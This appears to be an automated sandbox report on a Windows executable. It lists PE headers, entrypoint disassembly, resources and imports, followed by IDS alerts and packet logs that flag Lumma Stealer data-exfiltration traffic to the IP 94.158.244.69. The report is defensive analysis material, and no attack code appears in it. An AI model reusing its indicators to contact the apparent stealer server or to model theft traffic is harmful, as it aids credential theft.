Subsystem Version Minor:	1
Import Hash:	f1a2f8d8b54600da323a01db4f49195d

Entrypoint Preview

Instruction
call 00007FD5A1155F57h
jmp 00007FD5A11523AEh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 00401294h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007FD5A115252Eh
test byte ptr [eax], 00000008h
je 00007FD5A1152529h
mov dword ptr [ebp-0Ch], 01994000h
lea eax, dword ptr [ebp-0Ch]
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp-20h]
call dword ptr [004010FCh]
leave
retn 0008h
mov edi, edi
push ebp
mov ebp, esp
mov edx, dword ptr [ebp+08h]
push esi
push edi
test edx, edx
je 00007FD5A1152529h
mov edi, dword ptr [ebp+0Ch]
test edi, edi
jne 00007FD5A1152535h
call 00007FD5A115274Dh
push 00000016h
pop esi
mov dword ptr [eax], esi
call 00007FD5A1153560h
mov eax, esi
jmp 00007FD5A1152555h
mov eax, dword ptr [ebp+10h]
test eax, eax
jne 00007FD5A1152526h
mov byte ptr [edx], al
jmp 00007FD5A1152504h
mov esi, edx
sub esi, eax
mov cl, byte ptr [eax]
mov byte ptr [esi+eax], cl
inc eax
test cl, cl
je 00007FD5A1152525h
dec edi
jne 00007FD5A1152515h
test edi, edi
jne 00007FD5A1152533h
mov byte ptr [edx], 00000000h
call 00007FD5A1152717h
push 00000022h
pop ecx
mov dword ptr [eax], ecx
mov esi, ecx
jmp 00007FD5A11524E8h
xor eax, eax
pop edi
pop esi
pop ebp
ret
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007FD5A1152546h
mov al, byte ptr [ecx]
add ecx, 00000000h

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1233c	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x28fe000	0x1bc18	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3998	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1c0	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11da0	0x11e00	b76206d2d320499f3ff13cf1c189d29e	False	0.5574874344405595	data	6.463633330803623	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x13000	0x28ead04	0x45e00	4822dc0d5f14f6436350a2de158cfe65	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x28fe000	0x1bc18	0x1be00	07946ee195931bcc383a16c4df6a010e	False	0.3036627662556054	data	3.8590886530682353	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x2917050	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.7598684210526315
RT_CURSOR	0x2917198	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4473684210526316
RT_CURSOR	0x29172c8	0xf0	Device independent bitmap graphic, 24 x 48 x 1, image size 0			0.4625
RT_CURSOR	0x29173b8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0			0.08583489681050657
RT_CURSOR	0x2918490	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3407039711191336
RT_ICON	0x28fea80	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.3986175115207373
RT_ICON	0x28fea80	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.3986175115207373
RT_ICON	0x28ff148	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.3908959537572254
RT_ICON	0x28ff148	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.3908959537572254
RT_ICON	0x28ff6b0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.27790806754221387
RT_ICON	0x28ff6b0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.27790806754221387
RT_ICON	0x2900758	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.3421985815602837
RT_ICON	0x2900758	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.3421985815602837
RT_ICON	0x2900c00	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.39981949458483756
RT_ICON	0x2900c00	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.39981949458483756
RT_ICON	0x29014a8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.4498847926267281
RT_ICON	0x29014a8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.4498847926267281
RT_ICON	0x2901b70	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.4226878612716763
RT_ICON	0x2901b70	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.4226878612716763
RT_ICON	0x29020d8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.2767354596622889
RT_ICON	0x29020d8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.2767354596622889
RT_ICON	0x2903180	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.28114754098360656
RT_ICON	0x2903180	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.28114754098360656
RT_ICON	0x2903b08	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.3191489361702128
RT_ICON	0x2903b08	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.3191489361702128
RT_ICON	0x2903fd0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.3715351812366738
RT_ICON	0x2903fd0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.3715351812366738
RT_ICON	0x2904e78	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.48104693140794225
RT_ICON	0x2904e78	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.48104693140794225
RT_ICON	0x2905720	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.5247695852534562
RT_ICON	0x2905720	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.5247695852534562
RT_ICON	0x2905de8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.5513005780346821
RT_ICON	0x2905de8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.5513005780346821
RT_ICON	0x2906350	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	India	0.20342323651452282
RT_ICON	0x2906350	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	Sri Lanka	0.20342323651452282
RT_ICON	0x29088f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	India	0.2347560975609756
RT_ICON	0x29088f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	Sri Lanka	0.2347560975609756
RT_ICON	0x29099a0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	India	0.25163934426229506
RT_ICON	0x29099a0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	Sri Lanka	0.25163934426229506
RT_ICON	0x290a328	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	India	0.3067375886524823
RT_ICON	0x290a328	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	Sri Lanka	0.3067375886524823
RT_ICON	0x290a808	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.28251599147121537
RT_ICON	0x290a808	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.28251599147121537
RT_ICON	0x290b6b0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.3934331797235023
RT_ICON	0x290b6b0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.3934331797235023
RT_ICON	0x290bd78	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.39739884393063585
RT_ICON	0x290bd78	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.39739884393063585
RT_ICON	0x290c2e0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.2233402489626556
RT_ICON	0x290c2e0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.2233402489626556
RT_ICON	0x290e888	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.2795497185741088
RT_ICON	0x290e888	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.2795497185741088
RT_ICON	0x290f930	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.3016393442622951
RT_ICON	0x290f930	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.3016393442622951
RT_ICON	0x29102b8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.3395390070921986
RT_ICON	0x29102b8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.3395390070921986
RT_ICON	0x2910788	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.31369936034115137
RT_ICON	0x2910788	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.31369936034115137
RT_ICON	0x2911630	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.3813176895306859
RT_ICON	0x2911630	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.3813176895306859
RT_ICON	0x2911ed8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.42223502304147464
RT_ICON	0x2911ed8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.42223502304147464
RT_ICON	0x29125a0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.3872832369942196
RT_ICON	0x29125a0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.3872832369942196
RT_ICON	0x2912b08	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	India	0.23921161825726142
RT_ICON	0x2912b08	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	Sri Lanka	0.23921161825726142
RT_ICON	0x29150b0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	India	0.2774390243902439
RT_ICON	0x29150b0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	Sri Lanka	0.2774390243902439
RT_ICON	0x2916158	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	India	0.27991803278688526
RT_ICON	0x2916158	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	Sri Lanka	0.27991803278688526
RT_ICON	0x2916ae0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	India	0.32269503546099293
RT_ICON	0x2916ae0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	Sri Lanka	0.32269503546099293
RT_STRING	0x2918f78	0x502	data	Tamil	India	0.4391575663026521
RT_STRING	0x2918f78	0x502	data	Tamil	Sri Lanka	0.4391575663026521
RT_STRING	0x2919480	0x394	data	Tamil	India	0.4606986899563319
RT_STRING	0x2919480	0x394	data	Tamil	Sri Lanka	0.4606986899563319
RT_STRING	0x2919818	0x396	Matlab v4 mat-file (little endian) o, numeric, rows 0, columns 0	Tamil	India	0.46187363834422657
RT_STRING	0x2919818	0x396	Matlab v4 mat-file (little endian) o, numeric, rows 0, columns 0	Tamil	Sri Lanka	0.46187363834422657
RT_STRING	0x2919bb0	0x64	data	Tamil	India	0.65
RT_STRING	0x2919bb0	0x64	data	Tamil	Sri Lanka	0.65
RT_ACCELERATOR	0x2916fc0	0x90	data	Tamil	India	0.6944444444444444
RT_ACCELERATOR	0x2916fc0	0x90	data	Tamil	Sri Lanka	0.6944444444444444
RT_GROUP_CURSOR	0x2917180	0x14	data			1.15
RT_GROUP_CURSOR	0x2918d38	0x14	data			1.25
RT_GROUP_CURSOR	0x2918460	0x30	data			1.0
RT_GROUP_ICON	0x290a790	0x76	data	Tamil	India	0.6779661016949152
RT_GROUP_ICON	0x290a790	0x76	data	Tamil	Sri Lanka	0.6779661016949152
RT_GROUP_ICON	0x2900bc0	0x3e	data	Tamil	India	0.8387096774193549
RT_GROUP_ICON	0x2900bc0	0x3e	data	Tamil	Sri Lanka	0.8387096774193549
RT_GROUP_ICON	0x2903f70	0x5a	data	Tamil	India	0.7222222222222222
RT_GROUP_ICON	0x2903f70	0x5a	data	Tamil	Sri Lanka	0.7222222222222222
RT_GROUP_ICON	0x2910720	0x68	data	Tamil	India	0.7211538461538461
RT_GROUP_ICON	0x2910720	0x68	data	Tamil	Sri Lanka	0.7211538461538461
RT_GROUP_ICON	0x2916f48	0x76	data	Tamil	India	0.6864406779661016
RT_GROUP_ICON	0x2916f48	0x76	data	Tamil	Sri Lanka	0.6864406779661016
RT_VERSION	0x2918d50	0x228	data			0.5670289855072463

Imports

DLL

Import

KERNEL32.dll

GetProfileIntW, BuildCommDCBAndTimeoutsA, InterlockedIncrement, InterlockedDecrement, SetMailslotInfo, GetSystemWindowsDirectoryW, FreeEnvironmentStringsA, GetProcessPriorityBoost, EnumCalendarInfoExW, WaitNamedPipeW, EnumTimeFormatsW, GetDriveTypeA, GetProcessTimes, GetVolumePathNameW, GetCalendarInfoA, GetConsoleAliasExesLengthW, GetFileAttributesA, WriteConsoleW, SetSystemPowerState, GetModuleFileNameW, CompareStringW, GetShortPathNameA, EnumSystemLocalesA, SearchPathW, DeleteFiber, GetLastError, GetProcAddress, AttachConsole, HeapSize, SetComputerNameA, EnterCriticalSection, OpenWaitableTimerA, LoadLibraryA, GetProcessId, LocalAlloc, SetCalendarInfoW, IsSystemResumeAutomatic, AddAtomA, OpenJobObjectW, GetPrivateProfileStructA, FindFirstVolumeMountPointA, EnumDateFormatsA, CreateIoCompletionPort, GetModuleHandleA, CancelTimerQueueTimer, FreeEnvironmentStringsW, FindNextFileW, SetFileShortNameA, AreFileApisANSI, HeapCompact, GetPrivateProfileIntW, GetVolumeNameForVolumeMountPointA, HeapFree, HeapAlloc, DeleteFileA, WideCharToMultiByte, HeapReAlloc, GetCommandLineA, HeapSetInformation, GetStartupInfoW, RaiseException, IsProcessorFeaturePresent, HeapCreate, GetModuleHandleW, ExitProcess, DecodePointer, WriteFile, GetStdHandle, EncodePointer, LeaveCriticalSection, SetFilePointer, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, GetCurrentProcess, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, GetModuleFileNameA, GetEnvironmentStringsW, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, LoadLibraryW, Sleep, SetStdHandle, GetConsoleCP, GetConsoleMode, FlushFileBuffers, RtlUnwind, LCMapStringW, MultiByteToWideChar, GetStringTypeW, CloseHandle, CreateFileW

GDI32.dll

GetCharABCWidthsA, SelectObject

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-13T10:53:30.089830+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.8	49713	94.158.244.69	80	TCP
2024-11-13T10:53:30.089830+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.8	49708	94.158.244.69	80	TCP
2024-11-13T10:54:22.079039+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.8	49706	TCP
2024-11-13T10:54:34.362378+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.8	49707	94.158.244.69	80	TCP
2024-11-13T10:54:53.135143+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.8	49709	94.158.244.69	80	TCP
2024-11-13T10:54:59.967146+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.8	49711	TCP
2024-11-13T10:55:02.213728+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.8	49710	94.158.244.69	80	TCP
2024-11-13T10:55:10.989197+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.8	49712	94.158.244.69	80	TCP
2024-11-13T10:55:29.613117+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.8	49714	94.158.244.69	80	TCP
2024-11-13T10:55:30.349548+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.8	49715	94.158.244.69	80	TCP
2024-11-13T10:55:30.349548+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.8	49715	94.158.244.69	80	TCP
2024-11-13T10:55:48.326883+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.8	49716	94.158.244.69	80	TCP
2024-11-13T10:55:57.094150+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.8	49717	94.158.244.69	80	TCP
2024-11-13T10:56:06.203781+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.8	49718	94.158.244.69	80	TCP
2024-11-13T10:56:15.057549+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.8	49719	94.158.244.69	80	TCP
2024-11-13T10:56:23.838414+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.8	49720	94.158.244.69	80	TCP
2024-11-13T10:56:32.618908+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.8	49721	94.158.244.69	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 10:54:25.867844105 CET	49707	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:25.872735023 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:25.872829914 CET	49707	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:25.872971058 CET	49707	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:25.873425007 CET	49707	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:25.877752066 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:25.877830982 CET	49707	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:25.878293991 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:25.878304958 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:25.878357887 CET	49707	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:25.878405094 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:25.878416061 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:25.878423929 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:25.878433943 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:25.878443003 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:25.878451109 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:25.878459930 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:25.882742882 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:25.883294106 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:25.883327007 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:25.883337021 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:25.883344889 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.362256050 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.362377882 CET	49707	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:34.362993956 CET	49707	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:34.367850065 CET	80	49707	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.817794085 CET	49708	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:34.823041916 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.823142052 CET	49708	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:34.823267937 CET	49708	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:34.824714899 CET	49708	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:34.828685045 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.828789949 CET	49708	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:34.829607010 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.829623938 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.829637051 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.829663992 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.829677105 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.829689980 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.829700947 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.829701900 CET	49708	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:34.829737902 CET	49708	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:34.829849958 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.829863071 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.833641052 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.834511995 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.834527969 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.834563017 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.834589958 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.834603071 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:34.877552986 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:43.303020000 CET	80	49708	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:44.307792902 CET	49709	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:44.482095957 CET	80	49709	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:44.482758999 CET	49709	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:44.482758999 CET	49709	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:44.484832048 CET	49709	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:44.487656116 CET	80	49709	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:44.489751101 CET	80	49709	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:53.135071993 CET	80	49709	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:53.135143042 CET	49709	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:53.135479927 CET	49709	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:53.140507936 CET	80	49709	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:53.722238064 CET	49710	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:53.727291107 CET	80	49710	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:53.727447033 CET	49710	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:53.728033066 CET	49710	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:53.728033066 CET	49710	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:54:53.732846975 CET	80	49710	94.158.244.69	192.168.2.8
Nov 13, 2024 10:54:53.732882977 CET	80	49710	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:02.213565111 CET	80	49710	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:02.213727951 CET	49710	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:02.213769913 CET	49710	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:02.218744040 CET	80	49710	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:02.503761053 CET	49712	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:02.510034084 CET	80	49712	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:02.510107040 CET	49712	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:02.510430098 CET	49712	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:02.510850906 CET	49712	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:02.515261889 CET	80	49712	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:02.515707016 CET	80	49712	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:10.989110947 CET	80	49712	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:10.989197016 CET	49712	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:10.989314079 CET	49712	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:10.994087934 CET	80	49712	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:11.536524057 CET	49713	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:12.140552044 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.140711069 CET	49713	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:12.140882969 CET	49713	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:12.141294956 CET	49713	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:12.145725012 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.145782948 CET	49713	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:12.146177053 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.146184921 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.146226883 CET	49713	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:12.146230936 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.146240950 CET	80	49713	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:12.146249056 CET	80	49713	94.158.244.69	192.168.2.8
